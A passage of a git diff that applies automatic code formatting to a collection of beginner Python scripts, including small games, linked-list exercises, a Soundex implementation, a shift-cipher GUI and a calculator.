PWIDTH, PHEIGHT, acc=paddleacc, batch=self.main_batch) + self.balls = load.load_balls( + self.win_size, RADIUS, speed=ballspeed, batch=self.main_batch + ) + self.paddles = load.load_paddles( + self.paddle_pos, PWIDTH, PHEIGHT, acc=paddleacc, batch=self.main_batch + ) def on_draw(self): self.clear() self.main_batch.draw() -game_window = PongPongWindow(width=WIDTH, height=HEIGHT, caption='PongPong') +game_window = PongPongWindow(width=WIDTH, height=HEIGHT, caption="PongPong") game_objects = game_window.balls + game_window.paddles for paddle in game_window.paddles: @@ -38,7 +45,6 @@ def on_draw(self): game_window.push_handlers(handler) - def update(dt): global game_objects, game_window @@ -49,6 +55,6 @@ def update(dt): obj1.update(game_window.win_size, BORDER, obj2, dt) -if __name__ == '__main__': - pyglet.clock.schedule_interval(update, 1/120.0) +if __name__ == "__main__": + pyglet.clock.schedule_interval(update, 1 / 120.0) pyglet.app.run() diff --git a/Print_List_of_Even_Numbers.py b/Print_List_of_Even_Numbers.py index ed0a83f3525..5addb87407f 100644 --- a/Print_List_of_Even_Numbers.py +++ b/Print_List_of_Even_Numbers.py @@ -1,17 +1,19 @@ # Very sort method to creat list of even number form a given list -#Advance-Python -list_number=list(map(int,input().split())) -even_list=[i for i in list_number if i%2==0] +# Advance-Python +list_number = list(map(int, input().split())) +even_list = [i for i in list_number if i % 2 == 0] print(even_list) -exit()# Another one +exit() # Another one n = int(input("Enter the required range : ")) # user input list = [] -if (n < 0): +if n < 0: print("Not a valid number, please enter a positive number!") else: - for i in range(0,n+1): - if(i%2==0): - list.append(i) #appending items to the initialised list getting from the 'if' statement + for i in range(0, n + 1): + if i % 2 == 0: + list.append( + i + ) # appending items to the initialised list getting from the 'if' statement print(list) diff --git a/Print_List_of_Odd_Numbers.py b/Print_List_of_Odd_Numbers.py index a65dc289f0b..f032e035dee 100644 --- a/Print_List_of_Odd_Numbers.py +++ b/Print_List_of_Odd_Numbers.py @@ -1,8 +1,8 @@ # master -#Another best method to do this +# Another best method to do this -n=map(list(int,input().split())) -odd_list=list(i for i in n if i%2!=0) +n = map(list(int, input().split())) +odd_list = list(i for i in n if i % 2 != 0) print(odd_list) exit() @@ -15,18 +15,17 @@ if n <= 0: print("Invalid number, please enter a number greater than zero!") -else: - odd_list = [i for i in range(1,n+1,2)] # creating string with number "i" +else: + odd_list = [i for i in range(1, n + 1, 2)] # creating string with number "i" print(odd_list) # in range from 1 till "n". - -# printing odd and even number in same program -n=map(list(int,input().split())) -even=[] -odd=[] -for i in range (n): - if i%2==0: + +# printing odd and even number in same program +n = map(list(int, input().split())) +even = [] +odd = [] +for i in range(n): + if i % 2 == 0: even.append(i) else: odd.append(i) - diff --git a/Program of Reverse of any number.py b/Program of Reverse of any number.py index cffc44dcba6..75edba98cc8 100644 --- a/Program of Reverse of any number.py +++ b/Program of Reverse of any number.py @@ -1,10 +1,10 @@ -num=int(input("enter any Number")) -rev =0 -while num>0 : - Rem = num% 10 - num = num//10 - rev=rev*10+Rem -print("The Reverse of the number",rev) +num = int(input("enter any Number")) +rev = 0 +while num > 0: + Rem = num % 10 + num = num // 10 + rev = rev * 10 + Rem +print("The Reverse of the number", rev) ################## # could also simply do this another way diff --git a/Program to print table of given number.py b/Program to print table of given number.py index a6644bf3ed3..699e4047174 100644 --- a/Program to print table of given number.py +++ b/Program to print table of given number.py @@ -2,9 +2,9 @@ for i in range(1, 11): print(n, "x", i, "=", n * i) -#Example -#input: 2 -#output: +# Example +# input: 2 +# output: """ 2 x 1 = 2 2 x 2 = 4 diff --git a/Program to reverse Linked List( Recursive solution).py b/Program to reverse Linked List( Recursive solution).py index 0c1a09fd94f..61a6165bab2 100644 --- a/Program to reverse Linked List( Recursive solution).py +++ b/Program to reverse Linked List( Recursive solution).py @@ -1,39 +1,42 @@ from sys import stdin, setrecursionlimit + setrecursionlimit(10 ** 6) -#Following is the Node class already written for the Linked List -class Node : - def __init__(self, data) : +# Following is the Node class already written for the Linked List +class Node: + def __init__(self, data): self.data = data self.next = None -def reverseLinkedListRec(head) : - if head is None : + +def reverseLinkedListRec(head): + if head is None: return None - if head.next is None : + if head.next is None: return head - smallhead=reverseLinkedListRec(head.next) - head.next.next=head - head.next=None + smallhead = reverseLinkedListRec(head.next) + head.next.next = head + head.next = None return smallhead - -#Taking Input Using Fast I/O -def takeInput() : + + +# Taking Input Using Fast I/O +def takeInput(): head = None tail = None datas = list(map(int, stdin.readline().rstrip().split(" "))) i = 0 - while (i < len(datas)) and (datas[i] != -1) : + while (i < len(datas)) and (datas[i] != -1): data = datas[i] newNode = Node(data) - if head is None : + if head is None: head = newNode tail = newNode - else : + else: tail.next = newNode tail = newNode @@ -42,22 +45,20 @@ def takeInput() : return head +def printLinkedList(head): - -def printLinkedList(head) : - - while head is not None : - print(head.data, end = " ") + while head is not None: + print(head.data, end=" ") head = head.next print() -#main +# main t = int(stdin.readline().rstrip()) -while t > 0 : - +while t > 0: + head = takeInput() newHead = reverseLinkedListRec(head) diff --git a/QR_code_generator/qrcode.py b/QR_code_generator/qrcode.py index ac51a4673f9..753ec3ebf20 100755 --- a/QR_code_generator/qrcode.py +++ b/QR_code_generator/qrcode.py @@ -1,16 +1,17 @@ import pyqrcode import png from pyqrcode import QRCode + # Text which is to be converted to QR code print("Enter text to convert") -s=input(": ") +s = input(": ") # Name of QR code png file print("Enter image name to save") -n=input(": ") +n = input(": ") # Adding extension as .pnf -d=n+".png" +d = n + ".png" # Creating QR code -url=pyqrcode.create(s) +url = pyqrcode.create(s) # Saving QR code as a png file url.show() -url.png(d, scale =6) +url.png(d, scale=6) diff --git a/QuadraticCalc.py b/QuadraticCalc.py index 348195c8f8a..305f7e1665a 100644 --- a/QuadraticCalc.py +++ b/QuadraticCalc.py @@ -37,7 +37,8 @@ def findLinear(numbers): # find a & b of linear sequence num = a * (n * n) subs_diff.append((sequence[i]) - num) b, c = findLinear(subs_diff) - print("Nth term: " + str(a) + "n^2 + " + - str(b) + "n + " + str(c)) # outputs nth term + print( + "Nth term: " + str(a) + "n^2 + " + str(b) + "n + " + str(c) + ) # outputs nth term else: print("Sequence is not quadratic") diff --git a/RandomDice.py b/RandomDice.py index 0e15bd32676..404c4b30a72 100644 --- a/RandomDice.py +++ b/RandomDice.py @@ -1,19 +1,20 @@ # GGearing 01/10/19 # Random Dice Game using Tkinter -#Tkinter is used for Making Using GUI in Python Program! -#randint provides you with a random number within your given range! +# Tkinter is used for Making Using GUI in Python Program! +# randint provides you with a random number within your given range! from random import randint from tkinter import * -#Function to rool the dice +# Function to rool the dice def roll(): text.delete(0.0, END) text.insert(END, str(randint(1, 100))) -#Defining our GUI + +# Defining our GUI window = Tk() text = Text(window, width=3, height=1) buttonA = Button(window, text="Press to roll!", command=roll) text.pack() buttonA.pack() -#End Of The Program! +# End Of The Program! diff --git a/RandomNumberGame.py b/RandomNumberGame.py index 75590872caa..8b3129234a6 100644 --- a/RandomNumberGame.py +++ b/RandomNumberGame.py @@ -1,57 +1,59 @@ -''' +""" hey everyone it is a basic game code using random . in this game computer will randomly chose an number from 1 to 100 and players will have to guess that which number it is and game will tell him on every guss whether his/her guess is smaller or bigger than the chosen number. it is a multi player game so it can be played with many players there is no such limitations of user till the size of list. if any one wants to modify this game he/she is most welcomed. Thank you -''' +""" import os import random -players=[] -score=[] +players = [] +score = [] -print("\n\tRandom Number Game\n\nHello Everyone ! it is just a game of chance in which you have to guess a number" - " from 0 to 100 and computer will tell whether your guess is smaller or bigger than the acctual number chossen by the computer . " - "the person with less attempts in guessing the number will be winner .") -x=input() -os.system('cls') +print( + "\n\tRandom Number Game\n\nHello Everyone ! it is just a game of chance in which you have to guess a number" + " from 0 to 100 and computer will tell whether your guess is smaller or bigger than the acctual number chossen by the computer . " + "the person with less attempts in guessing the number will be winner ." +) +x = input() +os.system("cls") -n=int(input("Enter number of players : ")) +n = int(input("Enter number of players : ")) print() -for i in range(0,n): - name=input("Enter name of player : ") +for i in range(0, n): + name = input("Enter name of player : ") players.append(name) -os.system('cls') +os.system("cls") -for i in range(0,n): - orignum=random.randint(1,100) - print(players[i],"your turn :",end="\n\n") - count=0 - while True : - ch=int(input("Please enter your guess : ")) - if ch>orignum: +for i in range(0, n): + orignum = random.randint(1, 100) + print(players[i], "your turn :", end="\n\n") + count = 0 + while True: + ch = int(input("Please enter your guess : ")) + if ch > orignum: print("no! number is smaller...") - count+=1 - elif ch==orignum: + count += 1 + elif ch == orignum: print("\n\n\tcongrats you won") break - else : + else: print("nope ! number is large dude...") - count+=1 - print(" you have taken", count+1,"attempts") - x=input() - score.append(count+1) - os.system('cls') + count += 1 + print(" you have taken", count + 1, "attempts") + x = input() + score.append(count + 1) + os.system("cls") print("players :\n") -for i in range(0,n): - print(players[i],"-",score[i]) +for i in range(0, n): + print(players[i], "-", score[i]) print("\n\nwinner is :\n") -for i in range(0,n): - if score[i]==min(score): +for i in range(0, n): + if score[i] == min(score): print(players[i]) -x=input() +x = input() diff --git a/ReadFromCSV.py b/ReadFromCSV.py index e3fb0cc7b04..f1921bd19e0 100644 --- a/ReadFromCSV.py +++ b/ReadFromCSV.py @@ -1,6 +1,6 @@ -__author__ = 'vamsi' -import pandas as pd #pandas library to read csv file -from matplotlib import pyplot as plt #matplotlib library to visualise the data +__author__ = "vamsi" +import pandas as pd # pandas library to read csv file +from matplotlib import pyplot as plt # matplotlib library to visualise the data from matplotlib import style style.use("ggplot") @@ -8,8 +8,10 @@ """reading data from SalesData.csv file and passing data to dataframe""" -df = pd.read_csv("..\SalesData.csv") #Reading the csv file -x = df["SalesID"].as_matrix() # casting SalesID to list #extracting the column with name SalesID +df = pd.read_csv("..\SalesData.csv") # Reading the csv file +x = df[ + "SalesID" +].as_matrix() # casting SalesID to list #extracting the column with name SalesID y = df["ProductPrice"].as_matrix() # casting ProductPrice to list plt.xlabel("SalesID") # assigning X-axis label plt.ylabel("ProductPrice") # assigning Y-axis label diff --git a/Recursion Visulaizer/recursionVisualizer.py b/Recursion Visulaizer/recursionVisualizer.py index c79eda0df19..4ecc495e628 100644 --- a/Recursion Visulaizer/recursionVisualizer.py +++ b/Recursion Visulaizer/recursionVisualizer.py @@ -1,67 +1,72 @@ import turtle import random + t = turtle.Turtle() -num=random.randint(1,1000) +num = random.randint(1, 1000) t.right(num) t.speed(num) t.left(num) + def tree(i): - if i<10: + if i < 10: return else: t.right(15) t.forward(15) t.left(20) t.backward(20) - tree(2*i/5) + tree(2 * i / 5) t.left(2) - tree(3*i/4) + tree(3 * i / 4) t.left(2) - tree(i/2) - t.backward(num/5) - tree(random.randint(1,100)) - tree(random.randint(1,num)) - tree(random.randint(1,num/2)) - tree(random.randint(1,num/3)) - tree(random.randint(1,num/2)) - tree(random.randint(1,num)) - tree(random.randint(1,100)) - t.forward(num/5) + tree(i / 2) + t.backward(num / 5) + tree(random.randint(1, 100)) + tree(random.randint(1, num)) + tree(random.randint(1, num / 2)) + tree(random.randint(1, num / 3)) + tree(random.randint(1, num / 2)) + tree(random.randint(1, num)) + tree(random.randint(1, 100)) + t.forward(num / 5) t.right(2) - tree(3*i/4) + tree(3 * i / 4) t.right(2) - tree(2*i/5) + tree(2 * i / 5) t.right(2) t.left(10) t.backward(10) t.right(15) t.forward(15) - print('tree execution complete') + print("tree execution complete") + def cycle(i): - if i<10: - return + if i < 10: + return else: try: - tree(random.randint(1,i)) - tree(random.randint(1,i*2)) + tree(random.randint(1, i)) + tree(random.randint(1, i * 2)) except: - print('An exception occured') + print("An exception occured") else: - print('No Exception occured') - print('cycle loop complete') + print("No Exception occured") + print("cycle loop complete") + def fractal(i): - if i<10: + if i < 10: return else: - cycle(random.randint(1,i+1)) - cycle(random.randint(1,i)) - cycle(random.randint(1,i-1)) - cycle(random.randint(1,i-2)) - print('fractal execution complete') + cycle(random.randint(1, i + 1)) + cycle(random.randint(1, i)) + cycle(random.randint(1, i - 1)) + cycle(random.randint(1, i - 2)) + print("fractal execution complete") + -fractal(random.randint(1,200)) -print('Execution complete') +fractal(random.randint(1, 200)) +print("Execution complete") turtle.done() diff --git a/Reverse_list_in_groups.py b/Reverse_list_in_groups.py index ba559b21486..9698811d7ea 100644 --- a/Reverse_list_in_groups.py +++ b/Reverse_list_in_groups.py @@ -14,7 +14,7 @@ def Insert_At_End(self, new_data): self.head = new_node return current = self.head - while(current.next): + while current.next: current = current.next current.next = new_node @@ -22,19 +22,19 @@ def Reverse_list_Groups(self, head, k): count = 0 previous = None current = head - while (current is not None and count < k): + while current is not None and count < k: following = current.next current.next = previous previous = current current = following - count += 1 + count += 1 if following is not None: head.next = self.Reverse_list_Groups(following, k) return previous def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") @@ -52,4 +52,4 @@ def Display(self): L_list.Display() L_list.head = L_list.Reverse_list_Groups(L_list.head, 2) print("\nReverse Linked List: ") - L_list.Display() \ No newline at end of file + L_list.Display() diff --git a/Rotate_Linked_List.py b/Rotate_Linked_List.py index d84399e9acc..c4117989fec 100644 --- a/Rotate_Linked_List.py +++ b/Rotate_Linked_List.py @@ -35,7 +35,7 @@ def Rotation(self, key): def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") @@ -54,4 +54,4 @@ def Display(self): L_list.Display() print("Linked List After Rotation: ") L_list.Rotation(4) - L_list.Display() \ No newline at end of file + L_list.Display() diff --git a/SOUNDEX.py b/SOUNDEX.py index b6b8e7e74f0..4d49ca8272e 100644 --- a/SOUNDEX.py +++ b/SOUNDEX.py @@ -1,59 +1,74 @@ # -*- coding: utf-8 -*- + def SOUNDEX(TERM: str): - - + # Step 0: Covert the TERM to UpperCase TERM = TERM.upper() TERM_LETTERS = [char for char in TERM if char.isalpha()] - #List the Remove occurrences of A, E, I, O, U, Y, H, W. - Remove_List = ('A', 'E', 'I', 'O', 'U', 'Y', 'H', 'W') + # List the Remove occurrences of A, E, I, O, U, Y, H, W. + Remove_List = ("A", "E", "I", "O", "U", "Y", "H", "W") # Save the first letter first_letter = TERM_LETTERS[0] - #Take the Other letters instead of First_Letter + # Take the Other letters instead of First_Letter Characters = TERM_LETTERS[1:] - #Remove items from Character using Remove_List - Characters = [To_Characters for To_Characters in Characters if To_Characters not in Remove_List] + # Remove items from Character using Remove_List + Characters = [ + To_Characters + for To_Characters in Characters + if To_Characters not in Remove_List + ] - #if len(Characters) == 0: + # if len(Characters) == 0: # return first_letter + "000" - #Replace all the Characters with Numeric Values (instead of the first letter) with digits according to Soundex Algorythem Ruels - Replace_List = {('B', 'F', 'P', 'V'): 1, - ('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z'): 2, - ('D', 'T'): 3, - ('L'): 4, - ('M', 'N'): 5, - ('R'): 6} - Characters = [value if char else char - for char in Characters - for group,value in Replace_List.items() - if char in group] + # Replace all the Characters with Numeric Values (instead of the first letter) with digits according to Soundex Algorythem Ruels + Replace_List = { + ("B", "F", "P", "V"): 1, + ("C", "G", "J", "K", "Q", "S", "X", "Z"): 2, + ("D", "T"): 3, + ("L"): 4, + ("M", "N"): 5, + ("R"): 6, + } + Characters = [ + value if char else char + for char in Characters + for group, value in Replace_List.items() + if char in group + ] # Step 3: Replace all adjacent same number with one number - Characters = [char for Letter_Count, char in enumerate(Characters) - if (Letter_Count == len(Characters) - 1 or - (Letter_Count+1 < len(Characters) and - char != Characters[Letter_Count+1]))] + Characters = [ + char + for Letter_Count, char in enumerate(Characters) + if ( + Letter_Count == len(Characters) - 1 + or ( + Letter_Count + 1 < len(Characters) + and char != Characters[Letter_Count + 1] + ) + ) + ] - #If the saved Characters’s Number is the same the resulting First Letter,keep the First Letter AND remove the Number - if len(TERM_LETTERS)!=1: + # If the saved Characters’s Number is the same the resulting First Letter,keep the First Letter AND remove the Number + if len(TERM_LETTERS) != 1: if first_letter == TERM_LETTERS[1]: Characters[0] = TERM[0] else: Characters.insert(0, first_letter) - - #If the Number of Characters are less than 4 insert 3 zeros to Characters + + # If the Number of Characters are less than 4 insert 3 zeros to Characters # Remove all except first letter and 3 digits after it. - #first_letter = Characters[0] - #Characters = Characters[1:] + # first_letter = Characters[0] + # Characters = Characters[1:] - #Characters = [char for char in Characters if isinstance(char, int)][0:3] + # Characters = [char for char in Characters if isinstance(char, int)][0:3] while len(Characters) < 4: Characters.append(0) if len(Characters) > 4: - Characters=Characters[0:4] - + Characters = Characters[0:4] + INDEX = "".join([str(C) for C in Characters]) return INDEX diff --git a/Secret message generator GUI by tkinter.py b/Secret message generator GUI by tkinter.py index ff314fd74da..ac6bfe49139 100644 --- a/Secret message generator GUI by tkinter.py +++ b/Secret message generator GUI by tkinter.py @@ -1,47 +1,211 @@ import tkinter -root=tkinter.Tk() + +root = tkinter.Tk() root.geometry("360x470") root.title("SECRET MESSAGE CODER DECODER") -name1=tkinter.StringVar() -name2=tkinter.StringVar() -result1=tkinter.StringVar() -r1=tkinter.Label(root,text="",textvariable=result1,fg="green",bg="white",font=('lucida handwriting',15,'bold','underline')) -r1.place(x=10,y=150) -result2=tkinter.StringVar() -r2=tkinter.Label(root,text="",textvariable=result2,fg="green",bg="white",font=('lucida handwriting',15,'bold','underline')) -r2.place(x=0,y=380) -a=tkinter.Entry(root,text="",textvariable=name1,bd=5,bg="light grey",fg="red",font=("bold",20)) -a.place(x=0,y=50) -b=tkinter.Entry(root,text="",textvariable=name2,bd=5,bg="light grey",fg="red",font=("bold",20)) -b.place(x=0,y=270) -t1=tkinter.Label(root,text="TYPE MESSAGE:",font=('arial',20,'bold','underline'),fg="red") -t2=tkinter.Label(root,text="TYPE SECRET MESSAGE:",font=('arial',20,'bold','underline'),fg="red") -t1.place(x=10,y=0) -t2.place(x=10,y=220) +name1 = tkinter.StringVar() +name2 = tkinter.StringVar() +result1 = tkinter.StringVar() +r1 = tkinter.Label( + root, + text="", + textvariable=result1, + fg="green", + bg="white", + font=("lucida handwriting", 15, "bold", "underline"), +) +r1.place(x=10, y=150) +result2 = tkinter.StringVar() +r2 = tkinter.Label( + root, + text="", + textvariable=result2, + fg="green", + bg="white", + font=("lucida handwriting", 15, "bold", "underline"), +) +r2.place(x=0, y=380) +a = tkinter.Entry( + root, + text="", + textvariable=name1, + bd=5, + bg="light grey", + fg="red", + font=("bold", 20), +) +a.place(x=0, y=50) +b = tkinter.Entry( + root, + text="", + textvariable=name2, + bd=5, + bg="light grey", + fg="red", + font=("bold", 20), +) +b.place(x=0, y=270) +t1 = tkinter.Label( + root, text="TYPE MESSAGE:", font=("arial", 20, "bold", "underline"), fg="red" +) +t2 = tkinter.Label( + root, text="TYPE SECRET MESSAGE:", font=("arial", 20, "bold", "underline"), fg="red" +) +t1.place(x=10, y=0) +t2.place(x=10, y=220) + def show1(): - data1=name1.get() - codes={'b':'a','c':'b','d':'c','e':'d','f':'e','g':'f','h':'g','i':'h','j':'i','k':'j','l':'k','m':'l','n':'m','o':'n','p':'o','q':'p','r':'q','s':'r','t':'s','u':'t','v':'u','w':'v','x':'w','y':'x','z':'y','a':'z',' ':" ",'B':'A','C':'B','D':'C','E':'D','F':'E','G':'F','H':'G','I':'H','J':'I','K':'J','L':'K','M':'L','N':'M','O':'N','P':'O','Q':'P','R':'Q','S':'R','T':'S','U':'T','V':'U','W':'V','X':'W','Y':'X','Z':'Y','A':'Z'} - lol1="" + data1 = name1.get() + codes = { + "b": "a", + "c": "b", + "d": "c", + "e": "d", + "f": "e", + "g": "f", + "h": "g", + "i": "h", + "j": "i", + "k": "j", + "l": "k", + "m": "l", + "n": "m", + "o": "n", + "p": "o", + "q": "p", + "r": "q", + "s": "r", + "t": "s", + "u": "t", + "v": "u", + "w": "v", + "x": "w", + "y": "x", + "z": "y", + "a": "z", + " ": " ", + "B": "A", + "C": "B", + "D": "C", + "E": "D", + "F": "E", + "G": "F", + "H": "G", + "I": "H", + "J": "I", + "K": "J", + "L": "K", + "M": "L", + "N": "M", + "O": "N", + "P": "O", + "Q": "P", + "R": "Q", + "S": "R", + "T": "S", + "U": "T", + "V": "U", + "W": "V", + "X": "W", + "Y": "X", + "Z": "Y", + "A": "Z", + } + lol1 = "" for x in data1: - lol1=lol1+codes[x] + lol1 = lol1 + codes[x] name1.set("") - result1.set("SECRET MESSAGE IS:-\n"+lol1) - return + result1.set("SECRET MESSAGE IS:-\n" + lol1) + return + + +bt1 = tkinter.Button( + root, + text="OK", + bg="white", + fg="black", + bd=5, + command=show1, + font=("calibri", 15, "bold", "underline"), +) +bt1.place(x=10, y=100) + -bt1=tkinter.Button(root,text="OK",bg="white",fg="black",bd=5,command=show1,font=('calibri',15,'bold','underline')) -bt1.place(x=10,y=100) def show2(): - data2=name2.get() - codes={'a':'b','b':'c','c':'d','d':'e','e':'f','f':'g','g':'h','h':'i','i':'j','j':'k','k':'l','l':'m','m':'n','n':'o','o':'p','p':'q','q':'r','r':'s','s':'t','t':'u','u':'v','v':'w','w':'x','x':'y','y':'z','z':'a'," ":' ','A':'B','B':'C','C':'D','D':'E','E':'F','F':'G','G':'H','H':'I','I':'J','J':'K','K':'L','L':'M','M':'N','N':'O','O':'P','P':'Q','Q':'R','R':'S','S':'T','T':'U','U':'V','V':'W','W':'X','X':'Y','Y':'Z','Z':'A'} - lol2="" + data2 = name2.get() + codes = { + "a": "b", + "b": "c", + "c": "d", + "d": "e", + "e": "f", + "f": "g", + "g": "h", + "h": "i", + "i": "j", + "j": "k", + "k": "l", + "l": "m", + "m": "n", + "n": "o", + "o": "p", + "p": "q", + "q": "r", + "r": "s", + "s": "t", + "t": "u", + "u": "v", + "v": "w", + "w": "x", + "x": "y", + "y": "z", + "z": "a", + " ": " ", + "A": "B", + "B": "C", + "C": "D", + "D": "E", + "E": "F", + "F": "G", + "G": "H", + "H": "I", + "I": "J", + "J": "K", + "K": "L", + "L": "M", + "M": "N", + "N": "O", + "O": "P", + "P": "Q", + "Q": "R", + "R": "S", + "S": "T", + "T": "U", + "U": "V", + "V": "W", + "W": "X", + "X": "Y", + "Y": "Z", + "Z": "A", + } + lol2 = "" for x in data2: - lol2=lol2+codes[x] + lol2 = lol2 + codes[x] name2.set("") - result2.set("MESSAGE IS:-\n"+lol2) + result2.set("MESSAGE IS:-\n" + lol2) return -bt2=tkinter.Button(root,text="OK",bg="white",fg="black",bd=5,command=show2,font=('calibri',15,'bold','underline')) -bt2.place(x=10,y=320) + +bt2 = tkinter.Button( + root, + text="OK", + bg="white", + fg="black", + bd=5, + command=show2, + font=("calibri", 15, "bold", "underline"), +) +bt2.place(x=10, y=320) root.mainloop() diff --git a/Shortest Distance between Two Lines.py b/Shortest Distance between Two Lines.py index 67f3fd34e66..b60b339acda 100644 --- a/Shortest Distance between Two Lines.py +++ b/Shortest Distance between Two Lines.py @@ -1,10 +1,16 @@ import math import numpy as NP -LC1=eval(input("Enter DRs of Line 1 : ")) -LP1=eval(input("Enter Coordinate through which Line 1 passes : ")) -LC2=eval(input("Enter DRs of Line 2 : ")) -LP2=eval(input("Enter Coordinate through which Line 2 passes : ")) -a1,b1,c1,a2,b2,c2=LC1[0],LC1[1],LC1[2],LC2[0],LC2[1],LC2[2] -x=NP.array([[LP2[0]-LP1[0],LP2[1]-LP1[1],LP2[2]-LP1[2]],[a1,b1,c1],[a2,b2,c2]]) -y=math.sqrt((((b1*c2)-(b2*c1))**2)+(((c1*a2)-(c2*a1))**2)+(((a1*b2)-(b1*a2))**2)) +LC1 = eval(input("Enter DRs of Line 1 : ")) +LP1 = eval(input("Enter Coordinate through which Line 1 passes : ")) +LC2 = eval(input("Enter DRs of Line 2 : ")) +LP2 = eval(input("Enter Coordinate through which Line 2 passes : ")) +a1, b1, c1, a2, b2, c2 = LC1[0], LC1[1], LC1[2], LC2[0], LC2[1], LC2[2] +x = NP.array( + [[LP2[0] - LP1[0], LP2[1] - LP1[1], LP2[2] - LP1[2]], [a1, b1, c1], [a2, b2, c2]] +) +y = math.sqrt( + (((b1 * c2) - (b2 * c1)) ** 2) + + (((c1 * a2) - (c2 * a1)) ** 2) + + (((a1 * b2) - (b1 * a2)) ** 2) +) diff --git a/SimpleCalculator.py b/SimpleCalculator.py index cb83d6ab2af..294c972e545 100644 --- a/SimpleCalculator.py +++ b/SimpleCalculator.py @@ -1,21 +1,26 @@ -#Simple Calculator +# Simple Calculator def add(a, b): return a + b + def subtract(a, b): return a - b + def multiply(a, b): return a * b + def divide(a, b): try: return a / b except ZeroDivisionError: return "Zero Division Error" -def power(a,b): - return a**b + +def power(a, b): + return a ** b + def main(): print("Select Operation") @@ -29,21 +34,23 @@ def main(): num1 = int(input("Enter first number: ")) num2 = int(input("Enter Second number:")) - if choice == '+': + if choice == "+": print(num1, "+", num2, "=", add(num1, num2)) - elif choice == '-': + elif choice == "-": print(num1, "-", num2, "=", subtract(num1, num2)) - elif choice == '*': + elif choice == "*": print(num1, "*", num2, "=", multiply(num1, num2)) - elif choice == '/': + elif choice == "/": print(num1, "/", num2, "=", divide(num1, num2)) - elif choice =="**": - print(num1,"^",num2,"=",power(num1,num2)) + elif choice == "**": + print(num1, "^", num2, "=", power(num1, num2)) else: print("Invalid input") main() + + if __name__ == "__main__": main() diff --git a/SimpleStopWatch.py b/SimpleStopWatch.py index 66a90bb3cc4..5cdd826c771 100644 --- a/SimpleStopWatch.py +++ b/SimpleStopWatch.py @@ -3,17 +3,17 @@ import time -print('Press ENTER to begin, Press Ctrl + C to stop') +print("Press ENTER to begin, Press Ctrl + C to stop") while True: try: input() # For ENTER. Use raw_input() if you are running python 2.x instead of input() starttime = time.time() - print('Started') + print("Started") while True: - print('Time Elapsed: ', round(time.time() - starttime, 0), 'secs', end="\r") - time.sleep(1) # 1 second delay + print("Time Elapsed: ", round(time.time() - starttime, 0), "secs", end="\r") + time.sleep(1) # 1 second delay except KeyboardInterrupt: - print('Stopped') + print("Stopped") endtime = time.time() - print('Total Time:', round(endtime - starttime, 2), 'secs') + print("Total Time:", round(endtime - starttime, 2), "secs") break diff --git a/Snake-Water-Gun-Game.py b/Snake-Water-Gun-Game.py index 205ec0fb883..54341645888 100644 --- a/Snake-Water-Gun-Game.py +++ b/Snake-Water-Gun-Game.py @@ -58,28 +58,29 @@ else: # just checked print("can't calculate score") exit = input("PRESS ENTER TO EXIT") -""" # code ends here +""" # code ends here import random + # import time -choices = {'S':'Snake','W':'Water','G':'Gun'} +choices = {"S": "Snake", "W": "Water", "G": "Gun"} x = 0 comp_point = 0 user_point = 0 match_draw = 0 -print('Welcome to the Snake-Water-Gun Game\n') -print('I am Mr. Computer, We will play this game 10 times') -print('Whoever wins more matches will be the winner\n') +print("Welcome to the Snake-Water-Gun Game\n") +print("I am Mr. Computer, We will play this game 10 times") +print("Whoever wins more matches will be the winner\n") while x < 10: - print(f'Game No. {x+1}') + print(f"Game No. {x+1}") for key, value in choices.items(): - print(f'Choose {key} for {value}') + print(f"Choose {key} for {value}") comp_rand = random.choice(list(choices.keys())).lower() - user_choice = input('\n----->').lower() + user_choice = input("\n----->").lower() print("Mr. Computer's choice is : " + comp_rand) # you can use this code to minimize your writing time for the code @@ -116,58 +117,58 @@ """ - if comp_rand == 's': - if user_choice == 'w': + if comp_rand == "s": + if user_choice == "w": print("\n-------Mr. Computer won this round--------") comp_point += 1 x += 1 - elif user_choice == 'g': + elif user_choice == "g": print("\n-------You won this round-------") user_point += 1 x += 1 else: print("\n-------Match draw-------") - match_draw +=1 + match_draw += 1 x += 1 - elif comp_rand == 'w': - if user_choice == 'g': + elif comp_rand == "w": + if user_choice == "g": print("\n-------Mr. Computer won this round--------") comp_point += 1 x += 1 - elif user_choice == 's': + elif user_choice == "s": print("\n-------You won this round-------") user_point += 1 x += 1 else: print("\n-------Match draw-------") - match_draw +=1 + match_draw += 1 x += 1 - elif comp_rand == 'g': - if user_choice == 's': + elif comp_rand == "g": + if user_choice == "s": print("\n-------Mr. Computer won this round--------") comp_point += 1 x += 1 - elif user_choice == 'w': + elif user_choice == "w": print("\n-------You won this round-------") user_point += 1 x += 1 else: print("\n-------Match draw-------") - match_draw +=1 + match_draw += 1 x += 1 -print('Here are final stats of the 10 matches : ') -print(f'Mr. Computer won : {comp_point} matches') -print(f'You won : {user_point} matches') -print(f'Matches Drawn : {match_draw}') +print("Here are final stats of the 10 matches : ") +print(f"Mr. Computer won : {comp_point} matches") +print(f"You won : {user_point} matches") +print(f"Matches Drawn : {match_draw}") if comp_point > user_point: - print('\n-------Mr. Computer won-------') + print("\n-------Mr. Computer won-------") elif comp_point < user_point: - print('\n-----------You won-----------') + print("\n-----------You won-----------") else: - print('\n----------Match Draw----------') + print("\n----------Match Draw----------") diff --git a/Snake_water_gun/main.py b/Snake_water_gun/main.py index fd23ffb19e0..7089b44d2b2 100644 --- a/Snake_water_gun/main.py +++ b/Snake_water_gun/main.py @@ -7,32 +7,41 @@ import time from os import system + class bcolors: - HEADERS = '\033[95m' - OKBLUE = '\033[94m' - OKGREEN = '\033[93m' - WARNING = '\033[92m' - FAIL = '\033[91m' - ENDC = '\033[0m' - BOLD = '\033[1m' - UNDERLINE = '\033[4m' + HEADERS = "\033[95m" + OKBLUE = "\033[94m" + OKGREEN = "\033[93m" + WARNING = "\033[92m" + FAIL = "\033[91m" + ENDC = "\033[0m" + BOLD = "\033[1m" + UNDERLINE = "\033[4m" + run = True li = ["s", "w", "g"] system("clear") -b = input(bcolors.OKBLUE + bcolors.BOLD + "Welcome to the game 'Snake-Water-Gun'.\nWanna play? Type Y or N: " + bcolors.ENDC).capitalize() - -if b == "N" : +b = input( + bcolors.OKBLUE + + bcolors.BOLD + + "Welcome to the game 'Snake-Water-Gun'.\nWanna play? Type Y or N: " + + bcolors.ENDC +).capitalize() + +if b == "N": run = False print("Ok bubyeee! See you later") -elif b=="Y" or b=="y": - print("There will be 